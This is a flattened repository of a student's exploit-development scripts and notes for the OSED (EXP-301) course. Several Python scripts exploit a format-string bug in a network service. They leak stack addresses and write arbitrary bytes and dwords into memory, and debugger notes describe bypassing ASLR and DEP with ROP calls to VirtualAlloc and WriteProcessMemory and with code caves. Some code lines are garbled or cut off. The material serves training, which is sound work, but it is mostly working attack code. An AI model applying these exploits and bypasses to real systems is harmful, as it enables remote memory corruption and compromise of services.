170 | server = "192.168.185.10" 171 | if len(sys.argv) >= 2: 172 | server = sys.argv[1] 173 | 174 | port = 11460 175 | 176 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 177 | s.settimeout(2) 178 | s.connect((server, port)) 179 | 180 | print("Dumping values in the stack to the log...") 181 | dump_stack_values_to_log(s) 182 | receive_data(s) 183 | 184 | print("Retreiving values from the log...") 185 | memory_values = get_latest_leaked_addresses_from_log(s, 0x00) 186 | 187 | # value_to_write = 0x42 188 | # print("Writing " + str(hex(value_to_write)) + " to " + str(hex(memory_values[1] + 0x1000))) 189 | # write_value(s, value_to_write, memory_values[1] + 0x1000) 190 | # receive_data(s) 191 | 192 | memory_address = memory_values[1] + 0x1000 193 | print("Writing values starting at " + hex(memory_address)) 194 | for x in range(0x00, 0x100): 195 | write_byte_value(s, x, memory_address) 196 | receive_data(s) 197 | memory_address += 1 198 | 199 | print("Pausing execution. Go into the debugger...") 200 | input() 201 | 202 | s.close() 203 | sys.exit(0) 204 | 205 | 206 | if __name__ == "__main__": 207 | main() -------------------------------------------------------------------------------- /9_format_strings_2/5_write_dword.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | 8 | def receive_data(s: socket): 9 | received = b"" 10 | continue_receive = True 11 | 12 | try: 13 | while continue_receive: 14 | data = s.recv(4096) 15 | received += data 16 | if len(data) < 4096: 17 | continue_receive = False 18 | except Exception as e: 19 | print(e) 20 | 21 | return received 22 | 23 | 24 | def dump_stack_values_to_log(s: socket): 25 | # psAgentCommand 26 | buf = pack(">i", 0x400) 27 | buf += bytearray([0x41] * 0xC) 28 | buf += pack("i", 0x400) 59 | buf += bytearray([0x41] * 0xC) 60 | buf += pack("= response_size: 90 | break 91 | except Exception as e: 92 | print(e) 93 | print(response_size) 94 | print(len(response)) 95 | 96 | woot_split = response.split(b'w00t') 97 | 98 | if len(woot_split) > 1: 99 | for i in range(1, len(woot_split)): 100 | w00t_finds.append(woot_split[i][0:0x80 * 18]) 101 | 102 | if response_size >= 0x100000: 103 | startValue += 0x1000 104 | continue 105 | 106 | break 107 | 108 | memory_values = [] 109 | leaked_address_bytes = w00t_finds[-1].split(b':') 110 | returned_values = 0 111 | for leaked_address in leaked_address_bytes: 112 | try: 113 | memory_values.append(int(leaked_address, 16)) 114 | returned_values += 1 115 | if returned_values >= return_value_count: 116 | break 117 | except: 118 | pass 119 | 120 | return memory_values 121 | 122 | 123 | def print_memory_values(memory_values: list): 124 | for i in range(0, len(memory_values)): 125 | print("{}: {}".format(i, str(hex(memory_values[i])))) 126 | 127 | 128 | def write_byte_value(s: socket, byte_value: int, write_address: int): 129 | if byte_value > 0xC6: 130 | width = byte_value - 0xC7 + 0x8 131 | else: 132 | width = byte_value + 0x39 + 0x8 133 | 134 | # psAgentCommand 135 | buf = pack(">i", 0x400) 136 | buf += bytearray([0x41] * 0xC) 137 | buf += pack("> (8 * index) & 0xff 166 | write_byte_value(s, byte_value, write_address + index) 167 | 168 | 169 | def main(): 170 | server = "192.168.185.10" 171 | if len(sys.argv) >= 2: 172 | server = sys.argv[1] 173 | 174 | port = 11460 175 | 176 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 177 | s.settimeout(2) 178 | s.connect((server, port)) 179 | 180 | print("Dumping values in the stack to the log...") 181 | dump_stack_values_to_log(s) 182 | receive_data(s) 183 | 184 | print("Retreiving values from the log...") 185 | memory_values = get_latest_leaked_addresses_from_log(s, 0x00) 186 | 187 | # value_to_write = 0x42 188 | # print("Writing " + str(hex(value_to_write)) + " to " + str(hex(memory_values[1] + 0x1000))) 189 | # write_value(s, value_to_write, memory_values[1] + 0x1000) 190 | # receive_data(s) 191 | 192 | memory_address = memory_values[1] + 0x1000 193 | # print("Writing values starting at " + hex(memory_address)) 194 | # for x in range(0x00, 0x100): 195 | # write_byte_value(s, x, memory_address) 196 | # receive_data(s) 197 | # memory_address += 1 198 | 199 | print("Writing dword value starting at " + hex(memory_address)) 200 | write_dword_value(s, 0x12345678, memory_address) 201 | 202 | print("Pausing execution. Go into the debugger...") 203 | input() 204 | 205 | s.close() 206 | sys.exit(0) 207 | 208 | 209 | if __name__ == "__main__": 210 | main() -------------------------------------------------------------------------------- /9_format_strings_2/6_find_target.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | 8 | # Examined stack and found a value to overwrite at offset -0x62078 from leaked stack location. 9 | 10 | def receive_data(s: socket): 11 | received = b"" 12 | continue_receive = True 13 | 14 | try: 15 | while continue_receive: 16 | data = s.recv(4096) 17 | received += data 18 | if len(data) < 4096: 19 | continue_receive = False 20 | except Exception as e: 21 | print(e) 22 | 23 | return received 24 | 25 | 26 | def dump_stack_values_to_log(s: socket): 27 | # psAgentCommand 28 | buf = pack(">i", 0x400) 29 | buf += bytearray([0x41] * 0xC) 30 | buf += pack("i", 0x400) 61 | buf += bytearray([0x41] * 0xC) 62 | buf += pack("= response_size: 92 | break 93 | except Exception as e: 94 | print(e) 95 | print(response_size) 96 | print(len(response)) 97 | 98 | woot_split = response.split(b'w00t') 99 | 100 | if len(woot_split) > 1: 101 | for i in range(1, len(woot_split)): 102 | w00t_finds.append(woot_split[i][0:0x80 * 18]) 103 | 104 | if response_size >= 0x100000: 105 | startValue += 0x1000 106 | continue 107 | 108 | break 109 | 110 | memory_values = [] 111 | leaked_address_bytes = w00t_finds[-1].split(b':') 112 | returned_values = 0 113 | for leaked_address in leaked_address_bytes: 114 | try: 115 | memory_values.append(int(leaked_address, 16)) 116 | returned_values += 1 117 | if returned_values >= return_value_count: 118 | break 119 | except: 120 | pass 121 | 122 | return memory_values 123 | 124 | 125 | def print_memory_values(memory_values: list): 126 | for i in range(0, len(memory_values)): 127 | print("{}: {}".format(i, str(hex(memory_values[i])))) 128 | 129 | 130 | def write_byte_value(s: socket, byte_value: int, write_address: int): 131 | if byte_value > 0xC6: 132 | width = byte_value - 0xC7 + 0x8 133 | else: 134 | width = byte_value + 0x39 + 0x8 135 | 136 | # psAgentCommand 137 | buf = pack(">i", 0x400) 138 | buf += bytearray([0x41] * 0xC) 139 | buf += pack("> (8 * index) & 0xff 168 | write_byte_value(s, byte_value, write_address + index) 169 | 170 | 171 | def main(): 172 | server = "192.168.185.10" 173 | if len(sys.argv) >= 2: 174 | server = sys.argv[1] 175 | 176 | port = 11460 177 | 178 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 179 | s.settimeout(2) 180 | s.connect((server, port)) 181 | 182 | print("Dumping values in the stack to the log...") 183 | dump_stack_values_to_log(s) 184 | receive_data(s) 185 | 186 | print("Retreiving values from the log...") 187 | memory_values = get_latest_leaked_addresses_from_log(s, 0x00) 188 | print("Leaked stack address: " + hex(memory_values[1])) 189 | 190 | memory_address = memory_values[1] + 0x1000 191 | print("Writing dword value starting at " + hex(memory_address)) 192 | write_dword_value(s, 0x12345678, memory_address) 193 | 194 | print("Pausing execution. Go into the debugger...") 195 | input() 196 | 197 | s.close() 198 | sys.exit(0) 199 | 200 | 201 | if __name__ == "__main__": 202 | main() -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # My OSED Scripts 2 | 3 | These are some of my scripts for EXP-301 course. 4 | -------------------------------------------------------------------------------- /windbg_stuff/aslr_bypass.txt: -------------------------------------------------------------------------------- 1 | Win32 function SymGetSymFromName() can resolve memory addresses. 2 | You can find this by examining the imports of an image from Ida. 3 | 4 | If a service automatically restarts and the base address contains bad chars, crash the service! 5 | You can check for automatic restart with Procmon. Filter: operation contains Process. 6 | 7 | Finding the preferred base load address of a DLL in windbg: 8 | 0:077> dd libeay32IBM019 + 3c L1 9 | 031f003c 00000108 10 | 0:077> dd libeay32IBM019 + 108 + 34 L1 11 | 031f013c 10000000 12 | 13 | Use this to calculate offsets for rop chains. - . 14 | 15 | Setting breakpoints example: bp libeay32IBM019+0x1fd8 16 | 17 | dds
<- See module each value points to. -------------------------------------------------------------------------------- /windbg_stuff/dep_bypass.txt: -------------------------------------------------------------------------------- 1 | To bypass DEP, call VirtualAlloc via ROP chains. 2 | 3 | LPVOID WINAPI VirtualAlloc( 4 | _In_opt_ LPVOID lpAddress, 5 | _In_ SIZE_T dwSize, 6 | _In_ DWORD flAllocationType, 7 | _In_ DWORD flProtect 8 | ); 9 | 10 | lpAddress = Address of memory page. 11 | dwSize = A value between 0x1 and 0x1000 (AKA less than or equal to the size of a memory page. 12 | flAllocationType = Set this to MEM_COMMIT AKA 0x00001000 13 | flProtect = Set this to PAGE_EXECUTE_READWRITE AKA 0x00000040 14 | 15 | Example stack setup for calling VirtualAlloc: 16 | 17 | 0d2be300 75f5ab90 -> KERNEL32!VirtualAllocStub 18 | 0d2be304 0d2be488 -> Return address (Shellcode on the stack) 19 | 0d2be308 0d2be488 -> lpAddress (Shellcode on the stack) 20 | 0d2be30c 00000001 -> dwSize 21 | 0d2be310 00001000 -> flAllocationType 22 | 0d2be314 00000040 -> flProtect 23 | 24 | Step 1: Grab esp. 25 | Look for something like mov eax, esp. 26 | Look for something like push esp ; pop eax 27 | 28 | Step 2: Grab the location of VirtualAlloc. 29 | Look at the IAT entry in IDA for VirtualAlloc in an appropriate DLL. 30 | 31 | DEP can also be bypassed with WriteProcessMemory. Note that you'll probably need a custom ROP decoder for the shell code. 32 | BOOL WriteProcessMemory( 33 | HANDLE hProcess, 34 | LPVOID lpBaseAddress, 35 | LPCVOID lpBuffer, 36 | SIZE_T nSize, 37 | SIZE_T *lpNumberOfBytesWritten 38 | ); 39 | 40 | hProcess = Process handle. Set to -1. 41 | lpBaseAddress = Absolute memory address in code we want to copy to. Must be page aligned. Page is padded with null 42 | bytes. Find a code cave by searching for null bytes in code section in debugger. See: finding code caves. 43 | lpBuffer = Location on the stack (or heap) of our shellcode to copy from. 44 | nSize = Shellcode size. 45 | lpNumberOfBytesWritten = Set this to a writable address like one in the data section of the image. See: Finding data 46 | section in image. 47 | 48 | Finding code caves: 49 | Find offset to PE header: 50 | 0:077> dd libeay32IBM019 + 3c L1 51 | 031f003c 00000108 52 | 53 | Find offset to code section: 54 | 0:077> dd libeay32IBM019 + 108 + 2c L1 55 | 031f0134 00001000 56 | 57 | Grab the base address of the code section: 58 | 0:077> ? libeay32IBM019 + 1000 59 | Evaluate expression: 52367360 = 031f1000 60 | 61 | Get info about the code section and end address: 62 | 0:077> !address 031f1000 63 | Usage: Image 64 | Base Address: 031f1000 65 | End Address: 03283000 <- BINGO! 66 | Region Size: 00092000 ( 584.000 kB) 67 | State: 00001000 MEM_COMMIT 68 | Protect: 00000020 PAGE_EXECUTE_READ <- COOL! 69 | Type: 01000000 MEM_IMAGE 70 | Allocation Base: 031f0000 71 | Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY 72 | 73 | 400 bytes should be enough for shell code. Check for code cave there: 74 | 0:077> dd 03283000-400 75 | 03282c00 00000000 00000000 00000000 00000000 76 | 03282c10 00000000 00000000 00000000 00000000 77 | 03282c20 00000000 00000000 00000000 00000000 78 | 03282c30 00000000 00000000 00000000 00000000 79 | 03282c40 00000000 00000000 00000000 00000000 80 | 03282c50 00000000 00000000 00000000 00000000 81 | 03282c60 00000000 00000000 00000000 00000000 82 | 03282c70 00000000 00000000 00000000 00000000 83 | 84 | Confirm: 85 | 0:077> ? 03283000-400 - libeay32IBM019 86 | Evaluate expression: 601088 = 00092c00 87 | 0:077> !address 03282c00 88 | Usage: Image 89 | Base Address: 031f1000 90 | End Address: 03283000 91 | Region Size: 00092000 ( 584.000 kB) 92 | State: 00001000 MEM_COMMIT 93 | Protect: 00000020 PAGE_EXECUTE_READ 94 | Type: 01000000 MEM_IMAGE 95 | Allocation Base: 031f0000 96 | Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY 97 | 98 | Finding data section in image: 99 | Get image info: 100 | 0:077> !dh -a libeay32IBM019 101 | File Type: DLL 102 | FILE HEADER VALUES 103 | 14C machine (i386) 104 | 6 number of sections 105 | 49EC08E6 time date stamp Sun Apr 19 22:32:22 2009 106 | 0 file pointer to symbol table 107 | 0 number of symbols 108 | E0 size of optional header 109 | 2102 characteristics 110 | Executable 111 | 32 bit word machine 112 | DLL 113 | ... 114 | SECTION HEADER #4 115 | .data name 116 | F018 virtual size <- BINGO 117 | D5000 virtual address <- BINGO 118 | CA00 size of raw data 119 | D2000 file pointer to raw data 120 | 0 file pointer to relocation table 121 | 0 file pointer to line numbers 122 | 0 number of relocations 123 | 0 number of line numbers 124 | C0000040 flags 125 | Initialized Data 126 | (no align specified) 127 | Read Write <- COOL! 128 | 129 | Find absolute address 4 bytes after end of section: 130 | 0:077> ? libeay32IBM019 + d5000 + f018 + 4 131 | Evaluate expression: 53297180 = 032d401c 132 | 133 | See what's there: 134 | 0:077> dd 032d401c 135 | 032d401c 00000000 00000000 00000000 00000000 136 | 032d402c 00000000 00000000 00000000 00000000 137 | 032d403c 00000000 00000000 00000000 00000000 138 | 032d404c 00000000 00000000 00000000 00000000 139 | 032d405c 00000000 00000000 00000000 00000000 140 | 032d406c 00000000 00000000 00000000 00000000 141 | 032d407c 00000000 00000000 00000000 00000000 142 | 032d408c 00000000 00000000 00000000 00000000 143 | 144 | Check protections: 145 | 0:077> !vprot 032d401c 146 | BaseAddress: 032d4000 147 | AllocationBase: 031f0000 148 | AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY 149 | RegionSize: 00001000 150 | State: 00001000 MEM_COMMIT 151 | Protect: 00000004 PAGE_READWRITE <- YAY! 152 | Type: 01000000 MEM_IMAGE 153 | 154 | Get offset from base: 155 | 0:077> ? 032d401c - libeay32IBM019 156 | Evaluate expression: 933916 = 000e401c 157 | 158 | -------------------------------------------------------------------------------- /windbg_stuff/exploit_dev.txt: -------------------------------------------------------------------------------- 1 | .load narly 2 | !nmod -> View protections for each module. 3 | 4 | !teb 5 | s -b 41 41 41 -> Search for bytes 41 41 41 in the stack 6 | 7 | dds esp L10 -> List potential pointers near esp 8 | s -a 0 L8000000 KUPOKUPO -> Search for the KUPOKUPO string in all memory. 9 | 10 | !peb -> The PEB. 11 | 12 | dt nt!_TEB @$teb -> The TEB detailed. 13 | dt nt!_PEB @$peb -> The PEB detailed. 14 | 15 | dt _LDR_DATA_TABLE_ENTRY (
- 0x10) -> Take LDR linked list address from PEB and get module details. 16 | 17 | dt nt!_IMAGE_DOS_HEADER
-> The base address of an image's DOS header. e_lfanew contains the offset to the PE header. 18 | dt -r ntdll!_IMAGE_NT_HEADERS (
+ e_lfanew) -> Dump the PE header. 19 | 20 | !dh
-> Dump image data from the base address of the image's DOS header. 21 | 22 | poi(
) -> Pointer resolution. 23 | 24 | BP wsock32!recv -> Set a breakpoint when receiving data via winsock. 25 | 26 | lm m -> List module about a specific module like KERNEL32. 27 | 28 | ba r1
-> Set a hardware read breakpoint on an address. Useful in reverse engineering. 29 | 30 | r -> Check the zero, overflow, sign flag, and carry flag. 31 | 32 | !vprot eip -> View memory protections at EIP. 33 | !vprot esp -> View memory protections on stack. 34 | 35 | .load pykd 36 | !py C:\Users\\Desktop\